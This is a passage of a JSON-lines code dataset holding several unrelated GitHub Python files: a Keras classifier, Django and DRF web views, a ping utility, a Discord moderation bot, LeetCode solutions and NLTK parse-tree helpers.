3))(x)\r\n\r\n# Agregar bloques residuales\r\nnum_res_blocks = 3 # Puedes ajustar el número de bloques residuales\r\nfor _ in range(num_res_blocks):\r\n residual = x\r\n x = layers.Conv2D(64, (3, 3), activation='relu', padding='same')(x)\r\n x = layers.Conv2D(64, (3, 3), activation='relu', padding='same')(x)\r\n x = layers.Add()([x, residual])\r\n\r\nx = layers.GlobalAveragePooling2D()(x)\r\noutput_layer = layers.Dense(2, activation='softmax')(x)\r\n\r\nmodel = keras.Model(inputs=input_layer, outputs=output_layer)\r\n\r\nmodel.compile(optimizer='adam', loss='sparse_categorical_crossentropy', metrics=['accuracy'])\r\n\r\nmodel.fit(X_train, y_train, epochs=10)\r\n\r\n# Para hacer predicciones en una nueva imagen, sigue como lo hiciste antes.\r\nnew_image = cv2.imread(r\"C:\\Users\\Raderly\\Documents\\TrabajoTerminal\\Algoritmos\\nueva_espora.jpg\")\r\nnew_image = cv2.cvtColor(new_image, cv2.COLOR_BGR2GRAY)\r\nnew_image = cv2.resize(new_image, (128, 128))\r\nnew_image = new_image / 255.0\r\nnew_image = np.expand_dims(new_image, axis=0)\r\n\r\npredictions = model.predict(new_image)\r\npredicted_class = np.argmax(predictions)\r\nprint(predicted_class)","repo_name":"IsmaelLopezL/TTAProject","sub_path":"TrabajoTerminal/Algoritmos/SimpleResNet.py","file_name":"SimpleResNet.py","file_ext":"py","file_size_in_byte":2488,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"19362100230","text":"class Player:\n def __init__(self, name, ehp, ehb, ehp_avg,\n ehb_avg, slayer_ability, tiles_score):\n self.name = name\n self.ehp = ehp\n self.ehb = ehb\n self.ehp_avg = ehp_avg\n self.ehb_avg = ehb_avg\n self.slayer_ability = slayer_ability\n self.tiles_score = tiles_score\n self.manual_score = 0\n self.weighted_score = None\n\n def score_self(self):\n self.weighted_score = 0\n\n\nclass Team:\n def __init__(self, name, players):\n self.name = name\n self.players = players\n self.score = 0\n","repo_name":"alexcampbelling/pybingo","sub_path":"classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"38467970578","text":"#!/usr/bin/env python3\n\"\"\"Perform a ping for a set of hosts.\"\"\"\n\nimport argparse\nimport subprocess as cmds\nfrom multiprocessing import cpu_count\nfrom multiprocessing.dummy import Pool as ThreadPool\n\nimport six\n\n\ndef find(host):\n \"\"\"Perform a ping for a given host.\"\"\"\n\n cmd = \"ping -w 1 -q \" + host\n (status, text) = cmds.getstatusoutput(cmd)\n return status, host, text\n\n\ndef ping(hosts):\n \"\"\"Perform a ping for a set of hosts.\"\"\"\n\n infile = open(hosts, \"r\")\n hosts = [x.strip() for x in infile.readlines()]\n\n pool = ThreadPool(cpu_count() * 4)\n results = pool.map(find, hosts)\n\n for result in results:\n if result[0] != 0:\n six.print_(result[1])\n\n pool.close()\n pool.join()\n\n\nif __name__ == \"__main__\":\n PARSER = argparse.ArgumentParser(description=\"ping a set of hosts\")\n PARSER.add_argument(\"-f\", \"--file\", help=\"hosts file\", required=True)\n ARGS = vars(PARSER.parse_args())\n ping(ARGS[\"file\"])\n","repo_name":"mikemadden42/pyutils","sub_path":"ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"22803525009","text":"from django.shortcuts import render\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.shortcuts import render, get_object_or_404\nfrom .models import (Countries, Towns, ReceivedMessages, Projects, Directors, Services, NewAnnouncements, Tenders, Tourism,\n Careers, Conferencing)\nfrom django.http import JsonResponse\nfrom django.apps import apps\nfrom django.core.mail import EmailMessage\nfrom allauth.account.forms import LoginForm, SignupForm\nfrom django.urls import reverse\nfrom ..webcompanies.models import WebCompanies\nfrom ..webcompanies.WebCompanies import WebSiteCompany\n\n\ndef index(request, town_slug=None):\n # print(22333333)\n if town_slug:\n town_ = get_object_or_404(Towns, slug=town_slug)\n else:\n # print('--- rrr ---')\n wsc = WebSiteCompany(request, web_company_id=4)\n country_id = wsc.get(\"country_id\")\n town_ = Towns.objects.filter(country__id=country_id).all()[0]\n return menu_town__(request, town_, item_=None)\n\n\n# Need to remove this function\n# was replaced by home function\ndef ut_login_page(request):\n # print('ut_login_page')\n # print(ut_login_page)\n # print('ut_login_page')\n\n wsc = WebSiteCompany(request)\n if wsc.is_registered_domain():\n web_company_id = wsc.web_site_company['web_company_id']\n web_company = WebCompanies.objects.get(id=web_company_id)\n else:\n web_company = WebCompanies.objects.get(id=4)\n country = web_company.target\n wsc.add('country_id', country.id)\n\n # print('ut_login_page wsc.web_site_company')\n # print(wsc.web_site_company)\n # print('ut_login_page wsc.web_site_company')\n\n country = Countries.objects.get(id=country.id)\n\n form_class = LoginForm\n form_signup = SignupForm\n return render(request, 'ugandatowns/login_page.html', {\n 'company_obj': country,\n 'form': form_class,\n 'form_signup': form_signup,\n 'redirect_field_name': 'next',\n 'redirect_field_value': reverse('ugandatowns:index')})\n\n\ndef home(request):\n # print('u h')\n wsc = WebSiteCompany(request, web_company_id=4)\n if wsc.is_registered_domain():\n web_company_id = wsc.web_site_company['web_company_id']\n web_company = WebCompanies.objects.get(id=web_company_id)\n else:\n web_company = WebCompanies.objects.get(id=4)\n country = web_company.target\n wsc.add(request, 'country_id', country.id)\n\n # print('home wsc.web_site_company')\n # print(wsc.web_site_company)\n # print('home wsc.web_site_company')\n\n country = Countries.objects.get(id=country.id)\n\n form_class = LoginForm\n form_signup = SignupForm\n return render(request, 'ugandatowns/login_page.html', {\n 'company_obj': country,\n 'form': form_class,\n 'form_signup': form_signup,\n 'redirect_field_name': 'next',\n 'redirect_field_value': reverse('ugandatowns:index')})\n\n\ndef create_conference(request):\n name_ = request.POST.get('name')\n conference, created = Conferencing.objects.get_or_create(conference_name=name_, tc_user=request.user)\n conferences_ = Conferencing.objects.all()\n return render(request, 'ugandatowns/_conferences.html', {'conferences': conferences_})\n\n\ndef remove_conference(request):\n conference_number_ = request.POST.get('conference_number')\n conference = Conferencing.objects.get(conference_number=conference_number_)\n conference.active = False\n conference.save()\n\n conferences_ = Conferencing.objects.all()\n return render(request, 'ugandatowns/_conferences.html', {'conferences': conferences_})\n\n\ndef basic_town(request):\n slug_ = request.POST.get('slug')\n town_ = Towns.objects.get(slug=slug_)\n projects = Projects.objects.filter(town=town_, active=True).all()\n directors = Directors.objects.filter(town=town_, active=True).all()\n services = Services.objects.filter(town=town_, active=True).all()\n newannouncements = NewAnnouncements.objects.filter(town=town_, active=True).all()\n tenders = Tenders.objects.filter(town=town_, active=True).all()\n careers = Careers.objects.filter(town=town_, active=True).all()\n tourism = Tourism.objects.filter(town=town_, active=True).all()\n return render(request, 'ugandatowns/basic_town.html', {'town': town_, 'projects': projects,\n 'directors': directors, 'services': services,\n 'newannouncements': newannouncements, 'tenders': tenders,\n 'careers': careers, 'tourism': tourism})\n\n\ndef menu_town_other_model(request, town_slug=None, html=None):\n town_slug_ = town_slug\n town_ = Towns.objects.get(slug=town_slug_)\n return menu_town__(request, town_, None, html)\n\n\ndef menu_town_model(request, town_slug=None, menu=None, item_slug=None):\n town_slug_ = town_slug\n item_slug_ = item_slug\n town_ = Towns.objects.get(slug=town_slug_)\n menu_ = menu\n return menu_town_(request, town_, item_slug_, menu_)\n\n\ndef menu_town(request):\n town_slug_ = request.POST.get('town_slug')\n town_ = Towns.objects.get(slug=town_slug_)\n menu_ = request.POST.get('menu_')\n if menu_ == 'contact_us':\n return render(request, 'ugandatowns/contact_us.html', {'town': town_})\n else:\n item_slug_ = request.POST.get('item_slug')\n # menu_town_(request, town_, item_slug_, menu_)\n model_ = apps.get_model(app_label='ugandatowns', model_name=menu_)\n item_ = get_object_or_404(model_, town=town_, slug=item_slug_)\n return render(request, 'ugandatowns/basic_town_item.html', {'item': item_})\n\n\ndef menu_town_(request, town_, item_slug_, menu_):\n model_ = apps.get_model(app_label='ugandatowns', model_name=menu_)\n item_ = get_object_or_404(model_, town=town_, slug=item_slug_)\n return menu_town__(request, town_, item_)\n\n\ndef menu_town__(request, town_, item_, html_=None):\n projects = Projects.objects.filter(town=town_, active=True).all()\n directors = Directors.objects.filter(town=town_, active=True).all()\n services = Services.objects.filter(town=town_, active=True).all()\n newannouncements = NewAnnouncements.objects.filter(town=town_, active=True).all()\n tenders = Tenders.objects.filter(town=town_, active=True).all()\n careers = Careers.objects.filter(town=town_, active=True).all()\n tourism = Tourism.objects.filter(town=town_, active=True).all()\n conferences_ = Conferencing.objects.all()\n\n wsc = WebSiteCompany(request)\n country_id = wsc.get(\"country_id\")\n country = Countries.objects.get(id=country_id)\n\n return render(request, 'ugandatowns/home.html', {'company_obj': country, 'town': town_, 'item': item_,\n 'projects': projects, 'directors': directors,\n 'services': services, 'newannouncements': newannouncements,\n 'tenders': tenders, 'careers': careers, 'tourism': tourism,\n 'html': html_, 'conferences': conferences_})\n\n\ndef post_contact_us(request):\n slug = request.POST.get('slug')\n contact_us_name= request.POST.get('contact_us_name')\n contact_us_email = request.POST.get('contact_us_email')\n contact_us_subject = request.POST.get('contact_us_subject')\n contact_us_message = request.POST.get('contact_us_message')\n if contact_us_subject == '' or contact_us_message == '':\n rr = {'status': 'Must enter subject and a message!'}\n else:\n rr = {'status': 'got it'}\n try:\n town_ = Towns.objects.get(slug=slug)\n email = EmailMessage(contact_us_subject, contact_us_message, contact_us_email, [town_.contact_us_email])\n email.send()\n ReceivedMessages.objects.create(town=town_, name=contact_us_name, email=contact_us_email,\n subject=contact_us_subject, message=contact_us_message)\n rr = {'status': 'Your message was received.\\n\\nThank you.'}\n except Exception as ee:\n rr = {'status': 'ko'}\n return JsonResponse(rr)\n\n\ndef town(request, town_id):\n # current_site = get_current_site(request)\n town_ = Towns.objects.get(slug=slug)\n return render(request, 'ugandatowns/town.html', {'town': town_})\n","repo_name":"amosbaranes/development","sub_path":"academycity/academycity/apps/ugandatowns/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"19185641791","text":"class Solution:\n def canCross(self, stones):\n \"\"\"\n :type stones: List[int]\n :rtype: bool\n \"\"\"\n table = dict()\n\n for pos in stones:\n table[pos] = set()\n\n table[0].add(0)\n\n for pos in stones:\n for jumpsize in table[pos]:\n for new_jumpsize in range(jumpsize - 1, jumpsize + 2):\n if new_jumpsize > 0 and pos + new_jumpsize in table:\n table[pos + new_jumpsize].add(new_jumpsize)\n\n if len(table[stones[-1]]) > 0:\n return True\n return False\n","repo_name":"pololee/oj-leetcode","sub_path":"companies/oracle/p403/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"109813358","text":"\"\"\"Setup tool for building a pip-accessible package.\"\"\"\n\nimport setuptools\n\nname = \"kineticstoolkit_anthropometrics\"\ndescription = \"Provide tools associated to anthropometric measurements and estimates\"\nurl = \"https://github.com/felixchenier/kineticstoolkit_anthropometrics\"\nauthor = \"Félix Chénier\"\nauthor_email = \"chenier.felix@uqam.ca\"\n#--------------------------------------------------------------------------------\n# It may be advised to avoid modifying the rest of this file.\n#--------------------------------------------------------------------------------\n\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.readline()\n\nsetuptools.setup(\n name=name,\n description=(description),\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=url,\n author=author,\n author_email=author_email,\n license='Apache',\n license_files=['LICENSE.txt'],\n use_scm_version=True,\n setup_requires=['setuptools_scm'],\n packages=setuptools.find_packages(),\n install_requires=['kineticstoolkit'],\n package_data={\n \"kineticstoolkit_anthropometrics\": [\"anthropometrics_dumas_2007.csv\"],\n }, python_requires='>=3.8',\n)\n","repo_name":"felixchenier/kineticstoolkit_anthropometrics","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"23266083958","text":"from rest_framework.decorators import api_view\nfrom rest_framework.generics import get_object_or_404\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.viewsets import ModelViewSet\n\nfrom .models import Book\nfrom .serializers import BookSerializer\n\nfrom rest_framework import generics, status\n\n\n# class BookListApiView(generics.ListAPIView):\n# queryset = Book.objects.all()\n# serializer_class = BookSerializer\n\n\nclass BookListApiView(APIView):\n\n def get(self, request):\n books = Book.objects.all()\n serializer_data = BookSerializer(books, many=True).data\n data = {\n \"status\": f\"Returned {len(books)} books\",\n \"books\": serializer_data\n }\n\n return Response(data)\n\n\n# class BookDetailApiView(generics.RetrieveAPIView):\n# queryset = Book.objects.all()\n# serializer_class = BookSerializer\n\n\nclass BookDetailApiView(APIView):\n\n def get(self, request, pk):\n try:\n book = Book.objects.get(id=pk)\n serializer_data = BookSerializer(book).data\n\n data = {\n \"status\": \"Successfull\",\n \"book\": serializer_data\n }\n return Response(data, status=status.HTTP_200_OK)\n except Exception:\n return Response(\n {\"status\": \"False\",\n \"message\": \"Book is not found\"}, status=status.HTTP_404_NOT_FOUND\n )\n\n\n# class BookDeleteApiView(generics.DestroyAPIView):\n# queryset = Book.objects.all()\n# serializer_class = BookSerializer\n\n\nclass BookDeleteApiView(APIView):\n\n def delete(self, request, pk):\n try:\n book = Book.objects.get_object_or_404(id=pk)\n book.delete()\n return Response({\n \"status\": True,\n \"message\": \"Successfully deleted\"\n }, status=status.HTTP_200_OK)\n except Exception:\n return Response({\n \"status\": False,\n \"Message\": \"Book is not found\"\n }, status=status.HTTP_400_BAD_REQUEST)\n\n\n# class BookUpdateApiView(generics.UpdateAPIView):\n# queryset = Book.objects.all()\n# serializer_class = BookSerializer\n\nclass BookUpdateApiView(APIView):\n\n def put(self, request, pk):\n book = get_object_or_404(Book.objects.all(), id=pk)\n data = request.data\n serializer = BookSerializer(instance=book, data=data, partial=True)\n if serializer.is_valid(raise_exception=True):\n book_saved = serializer.save()\n return Response(\n {\n \"status\": True,\n \"message\": f\"Book {book_saved} updated successfully\"\n }\n )\n\n# class BookCreateApiView(generics.CreateAPIView):\n# queryset = Book.objects.all()\n# serializer_class = BookSerializer\n\n\nclass BookCreateApiView(APIView):\n\n def post(self, request):\n data = request.data\n serializer = BookSerializer(data=data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n data = {'status': f\"Books are saved to the database\",\n 'books': data\n }\n return Response(data)\n\n\nclass BookListCreateApiView(generics.ListCreateAPIView):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n\nclass BookUpdateDeleteView(generics.RetrieveUpdateDestroyAPIView):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n\nclass BookViewset(ModelViewSet):\n queryset = Book.objects.all()\n serializer_class = BookSerializer\n\n\n\n# function based view in DRF\n@api_view(['GET'])\ndef book_list_view(request, *args, **kwargs):\n books = Book.objects.all()\n serializer = BookSerializer(books, many=True)\n return Response(serializer.data)\n\n\n\n","repo_name":"mukhammad-irmatov/library_project_final","sub_path":"books/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"39960729503","text":"import discord\r\nimport random\r\nfrom discord.ext import commands\r\nclient2 = commands.Bot(command_prefix = 'a?')\r\n\r\n@client2.event\r\nasync def on_ready():\r\n print(\"bot is ready\")\r\n@client2.command()\r\n@commands.has_permissions(kick_members=True)\r\nasync def kick(ctx, member : discord.Member, *, reason=None):\r\n try:\r\n await member.kick(reason=reason)\r\n await ctx.send(f'Successfully kicked {member}.')\r\n except:\r\n await ctx.send(f'You lack permissions!')\r\n@client2.command()\r\n@commands.has_permissions(ban_members=True)\r\nasync def ban(ctx, member : discord.Member, *, reason=None):\r\n try:\r\n await member.ban(reason=reason)\r\n await ctx.send(f'Successfully Banned {member}.')\r\n except:\r\n await ctx.send(f'You lack permissions!')\r\n\r\nclient2.run('token')\r\n","repo_name":"DrSquidX/Discord-Bots","sub_path":"bot-kicker.py","file_name":"bot-kicker.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"9400607907","text":"class Solution:\n def nthUglyNumber(self, n: int) -> int:\n dp = [1] * n\n m2, m3, m5 = 0, 0, 0\n for i in range(1, n):\n dp[i] = min(dp[m2] * 2, dp[m3] * 3, dp[m5] * 5)\n if dp[i] == dp[m2] * 2: m2 += 1\n if dp[i] == dp[m3] * 3: m3 += 1\n if dp[i] == dp[m5] * 5: m5 += 1\n return dp[-1]\n\n","repo_name":"Jason003/interview","sub_path":"Bloomberg/Ugly Number II.py","file_name":"Ugly Number II.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"14779763331","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport nltk\nfrom nltk import treetransforms\nfrom copy import deepcopy\nfrom collections import deque\nimport queue\nfrom nltk.parse import CoreNLPParser\nimport argparse\nimport json\nfrom nltk.tree import Tree\nimport os\nimport warnings\nimport re\n\n\nclass CusCoreNLPParser(CoreNLPParser):\n def api_call(self, data, properties=None, timeout=18000000):\n if properties is None:\n properties = {'parse.binaryTrees': \"true\"}\n return super().api_call(data, properties, timeout)\n @classmethod\n def build_parser(cls, port=9001):\n port = str(port)\n return cls(url=f'http://localhost:{port}')\n\n\nPARSER_TIMEOUT = int(os.environ.get('PARSER_TIMEOUT', 60000000))\nRETRIEVE_BATCH = int(os.environ.get('RETRIEVE_BATCH', 1000))\nPARSER_PORT = str(os.environ.get('PARSER_PORT', 9001))\n# PARSER_PORT = int(os.environ.get('PARSER_URL', \"http://localhost:9001\"))\n\nCORENLP_PARSER = None\n\n\ndef get_corenlp_parser():\n global CORENLP_PARSER\n if CORENLP_PARSER is None:\n print(f'!!!! Retrieving CoreNLPParser, please make sure the server is running')\n print(\n f'Server command: java -mx4g -cp \"*\" edu.stanford.nlp.pipeline.StanfordCoreNLPServer -preload tokenize,ssplit,pos,lemma,ner,parse,depparse -status_port {PARSER_PORT} -port {PARSER_PORT} -timeout 15000 & ')\n # CORENLP_PARSER = CusCoreNLPParser(url=f'http://localhost:9001')\n CORENLP_PARSER = CusCoreNLPParser(url=f'http://localhost:{PARSER_PORT}')\n return CORENLP_PARSER\n\n\ndef remove_nodeset(tree):\n ntree = deepcopy(tree)\n queue_tree = queue.Queue()\n queue_tree.put(ntree)\n step = 0\n while not queue_tree.empty():\n parent = queue_tree.get()\n if len(parent) > 1:\n for i in range(len(parent)):\n queue_tree.put(parent[i])\n else:\n sole_child = parent[0]\n if isinstance(sole_child, str):\n # print(f'Leave reached: {sole_child}')\n pass\n else:\n assert isinstance(sole_child, Tree)\n if sole_child.label() == '@NodeSet':\n # print(f'Replace @NodeSet, len ={len(sole_child)}')\n # grand_children = list(sole_child)\n parent.clear()\n for i in range(len(sole_child)):\n parent.append(sole_child[i])\n # parent.pretty_print()\n queue_tree.put(parent)\n else:\n queue_tree.put(sole_child)\n # print('-' * 20 + f' Step {step} ' + '-' * 20)\n step += 1\n # ntree.pretty_print()\n return ntree\n\n\ndef remove_single_nodeset(tree, remove_root=False):\n ntree = deepcopy(tree)\n queue_tree = queue.Queue()\n queue_tree.put(ntree)\n step = 0\n while not queue_tree.empty():\n parent = queue_tree.get()\n children = list(parent)\n parent.clear()\n for child in children:\n if len(child) == 1 and isinstance(child[0], Tree):\n parent.append(child[0])\n else:\n parent.append(child)\n for child in list(parent):\n if isinstance(child, Tree):\n queue_tree.put(child)\n step += 1\n if remove_root and ntree.label() == 'ROOT':\n ntree = ntree[0]\n return ntree\n\n\ndef remove_atnodeset_single_nodeset(tree):\n # todo: remove consecutive single-child nodes, take the last child and remove the parents\n # fixme: somehow still a lot of case it does not work\n ntree = remove_nodeset(tree)\n ntree = remove_single_nodeset(ntree)\n return ntree\n\n\ndef raw_phrase_2_flat(inf, outf):\n with open(inf, 'r') as f:\n tlines = f.read().strip().split('\\n\\n')\n lines = [' '.join(x.replace('----- getBestPCFGParsePhi(true) -----\\n', '').split()) for x in tlines]\n print(f'lines {len(lines)}')\n lines = [' '.join(str(remove_atnodeset_single_nodeset(Tree.fromstring(x))).split()) for x in lines]\n with open(outf, 'w') as f:\n for i, l in enumerate(lines):\n suffix = '' if i == len(lines) - 1 else '\\n'\n f.write(f'{l}{suffix}')\n return lines\n\n\ndef raw_phrase_2_flat_v2(inf, outf):\n with open(inf, 'r') as f:\n string = f.read().strip()\n assert \"op.nodePrune\" not in string\n assert \"stripSubcat\" not in string\n tlines = string.split('\\n\\n')\n lines = [' '.join(x.split()) for x in tlines]\n print(f'number of lines {len(lines)}')\n lines = [' '.join(str(remove_atnodeset_single_nodeset(Tree.fromstring(x))).split()) for x in lines]\n with open(outf, 'w') as f:\n for i, l in enumerate(lines):\n # suffix = '' if i == len(lines) - 1 else '\\n'\n f.write(f'{l}\\n')\n return lines\n\n\ndef padding_leaves(tree):\n leaves_location = [tree.leaf_treeposition(i) for i in range(len(tree.leaves()))]\n for i in range(len(leaves_location)):\n tree[leaves_location[i]] = \"{0:03}\".format(i) + \"||||\" + tree[leaves_location[i]]\n for i in range(len(tree.leaves())):\n if len(tree[tree.leaf_treeposition(i)[:-1]]) > 1:\n tree[tree.leaf_treeposition(i)] = Tree(tree[tree.leaf_treeposition(i)[:-1]].label(), [tree.leaves()[i]])\n\n\ndef bft(tree):\n meta = dict()\n list_subtree = list(tree.subtrees())\n lst_tree = []\n lst = []\n queue_tree = queue.Queue()\n queue_tree.put(tree)\n meta[list_subtree.index(tree)] = []\n found_prob = False\n while not queue_tree.empty():\n node = queue_tree.get()\n if len(node) <= 0:\n warnings.warn(\"[bft]: len(node) <= 0!! will cause error later\")\n found_prob = True\n # node =\n lst.append(node)\n lst_tree.append(meta[list_subtree.index(node)])\n for i in range(len(node)):\n child = node[i]\n if isinstance(child, nltk.Tree):\n meta[list_subtree.index(child)] = deepcopy(meta[list_subtree.index(node)])\n meta[list_subtree.index(child)].append(i)\n queue_tree.put(child)\n return lst, lst_tree, meta\n\n\n\ndef clean_node(tree):\n t3 = deepcopy(tree)\n t3_lst, t3_lst_tree, t3_meta = bft(t3)\n for ind, sub in reversed(list(enumerate(t3.subtrees()))):\n if sub.height() >= 2:\n postn = t3_meta[ind]\n parentpos = postn[:-1]\n if parentpos and len(t3[parentpos]) == 1:\n t3[parentpos] = t3[postn]\n leaves_location = [t3.leaf_treeposition(i) for i in range(len(t3.leaves()))]\n for i in range(len(leaves_location)):\n t3[leaves_location[i]] = t3[leaves_location[i]][7:]\n if len(t3) == 1:\n t3 = t3[0]\n return t3\n\n\ndef generate_data(tree, cnf=True):\n if cnf:\n cnfTree = deepcopy(tree)\n treetransforms.chomsky_normal_form(cnfTree)\n try:\n pad_cnf_tree = deepcopy(cnfTree)\n except RecursionError as e:\n print(f'Error copy tree')\n raise e\n padding_leaves(pad_cnf_tree)\n else:\n pad_cnf_tree = deepcopy(tree)\n\n bf_tree, bf_lst_tree, bf_meta = bft(pad_cnf_tree)\n input_node = []\n input_label = []\n input_index = []\n leaves_location = [pad_cnf_tree.leaf_treeposition(i) for i in range(len(pad_cnf_tree.leaves()))]\n for i in range(len(bf_lst_tree)):\n if len(bf_tree[i].leaves()) > 1:\n if '|' in bf_tree[i].label():\n input_node.append(\"SPLIT_NODE_node_label\")\n input_label.append(\"\")\n else:\n input_node.append(bf_tree[i].label() + \"_node_label\")\n input_label.append('')\n else:\n input_label.append(bf_tree[i].label() + \"_leaf_label\")\n try:\n input_node.append(bf_tree[i].leaves()[0][7:])\n except IndexError as e:\n print(f'index {i}, {len(bf_tree)}, {len(bf_lst_tree)}')\n tree.pretty_print()\n # cnfTree.pretty_print()\n print('pad_cnf_tree......')\n pad_cnf_tree.pretty_print()\n print('pad_cnf_tree --- separate.....')\n print(input_node)\n print(f'bf_tree...')\n for x in bf_tree:\n print(x)\n print(f'bf_lst_tree...')\n for x in bf_lst_tree:\n print(x)\n print('Searching...')\n print(bf_tree[i - 1])\n print(bf_tree[i])\n print(bf_tree[i + 1])\n print(bf_tree[i].leaves())\n raise e\n first_leaf = deepcopy(bf_lst_tree[i])\n first_leaf.extend(bf_tree[i].leaf_treeposition(0))\n first_leaf = leaves_location.index(tuple(first_leaf))\n last_leaf = first_leaf + len(bf_tree[i].leaves()) - 1\n input_index.append([first_leaf, last_leaf])\n return input_node, input_label, input_index\n\n\ndef generate_data_v2(tree, cnf=True):\n if cnf:\n cnfTree = deepcopy(tree)\n treetransforms.chomsky_normal_form(cnfTree)\n try:\n pad_cnf_tree = deepcopy(cnfTree)\n except RecursionError as e:\n print(f'Error copy tree')\n raise e\n padding_leaves(pad_cnf_tree)\n else:\n pad_cnf_tree = deepcopy(tree)\n\n bf_tree, bf_lst_tree, bf_meta = bft(pad_cnf_tree)\n input_node = []\n input_label = []\n input_index = []\n leaves_location = [pad_cnf_tree.leaf_treeposition(i) for i in range(len(pad_cnf_tree.leaves()))]\n for i in range(len(bf_lst_tree)):\n if len(bf_tree[i].leaves()) > 1:\n if '|' in bf_tree[i].label():\n input_node.append(\"SPLIT_NODE_node_label\")\n input_label.append(\"\")\n else:\n input_node.append(bf_tree[i].label() + \"_node_label\")\n input_label.append('')\n else:\n input_label.append(bf_tree[i].label() + \"_leaf_label\")\n try:\n input_node.append(bf_tree[i].leaves()[0][7:])\n except IndexError as e:\n # print(f'index {i}, {len(bf_tree)}, {len(bf_lst_tree)}')\n # tree.pretty_print()\n # # cnfTree.pretty_print()\n # print('pad_cnf_tree......')\n # pad_cnf_tree.pretty_print()\n # print('pad_cnf_tree --- separate.....')\n # print(input_node)\n # print(f'bf_tree...')\n # for x in bf_tree:\n # print(x)\n # print(f'bf_lst_tree...')\n # for x in bf_lst_tree:\n # print(x)\n # print('Searching...')\n # print(bf_tree[i - 1])\n # print(bf_tree[i])\n # print(bf_tree[i + 1])\n # print(bf_tree[i].leaves())\n raise e\n first_leaf = deepcopy(bf_lst_tree[i])\n first_leaf.extend(bf_tree[i].leaf_treeposition(0))\n first_leaf = leaves_location.index(tuple(first_leaf))\n last_leaf = first_leaf + len(bf_tree[i].leaves()) - 1\n input_index.append([first_leaf, last_leaf])\n return input_node, input_label, input_index, bf_tree, bf_lst_tree\n\n\n\n\ndef check_binary(tree_string):\n tree = Tree.fromstring(tree_string)\n cnfTree = deepcopy(tree)\n treetransforms.chomsky_normal_form(cnfTree)\n original = ' '.join(str(tree).split())\n binary = ' '.join(str(cnfTree).split())\n assert original == binary, f'Different: {original} ####### {binary}'\n\n\ndef tree2matrix(tree, cnf=True):\n if cnf:\n cnf_tree = deepcopy(tree)\n treetransforms.chomsky_normal_form(cnf_tree)\n else:\n cnf_tree = deepcopy(tree)\n\n node_label = set([])\n leaf_label = set([])\n leaves = cnf_tree.leaves()\n leaves_position = []\n for i in range(len(leaves)):\n leaves_position.append(cnf_tree.leaf_treeposition(i))\n matrix = []\n for i in range(len(leaves)):\n list_i = [''] * len(leaves)\n leaf_i = leaves_position[i]\n for k in range(len(leaf_i) - 1, -1, -1):\n if set(leaf_i[k:]) == set([0]):\n tree_at_k = cnf_tree[leaf_i[:k]]\n label_k = tree_at_k.label()\n if k == len(leaf_i) - 1:\n leaf_label.add(label_k + \"_leaf_label\")\n else:\n node_label.add(label_k + \"_node_label\")\n list_i[i + len(tree_at_k.leaves()) - 1] = label_k\n matrix.append(list_i)\n node_label.add('')\n leaf_label.add('')\n node_label.remove('')\n leaf_label.remove('')\n return leaves, matrix, node_label, leaf_label\n\n\ndef text2code(vocabulary, node_data, label_data):\n node_ = []\n label_ = []\n for i in range(len(node_data)):\n code_node = [vocabulary[x] for x in node_data[i]]\n node_.append(code_node)\n code_label = [vocabulary[x] for x in label_data[i]]\n label_.append(code_label)\n return node_, label_\n\n\ndef tree_str_post_process(tree_string):\n tree_string = tree_string.replace('-LRB- (', '-LRB- -LRB-').replace('-RRB- )', '-RRB- -RRB-')\n return tree_string\n\n\ndef tree_from_string(s):\n try:\n tree_string = s\n tree_string = tree_str_post_process(tree_string)\n tree_line = Tree.fromstring(tree_string)\n except Exception as e:\n # print(f'Tree.fromstring(tree_string) failed, try to omit the post_process')\n # print(s)\n tree_string = s\n tree_line = Tree.fromstring(tree_string)\n return tree_line\n\n\ndef test_phrase_sentiment_match(phrase_file, sentiment_file, ):\n with open(phrase_file, 'r') as f:\n phrase_strings = f.read().strip().split('\\n')\n with open(sentiment_file, 'r') as f:\n sentiment_strings = f.read().strip().split('\\n')\n\n assert len(phrase_strings) == len(sentiment_strings), f'{len(phrase_strings)} != {len(sentiment_strings)}'\n\n length_problems = []\n mismatches = []\n\n def acquire_info(s):\n tree_og = tree_from_string(s)\n pad_leaves_tree = deepcopy(tree_og)\n padding_leaves(pad_leaves_tree)\n cleaned_tree = clean_node(pad_leaves_tree)\n nodes, labels, indices = generate_data(cleaned_tree)\n\n return tree_og, pad_leaves_tree, cleaned_tree, nodes, labels, indices\n\n for i, (ps, ss) in enumerate(zip(phrase_strings, sentiment_strings)):\n p_tree_og, p_pad_leaves_tree, p_cleaned_tree, p_nodes, p_labels, p_indices = acquire_info(\n ps)\n s_tree_og, s_pad_leaves_tree, s_cleaned_tree, s_nodes, s_labels, s_indices = acquire_info(\n ss)\n\n error_mess = None\n try:\n if len(p_nodes) != 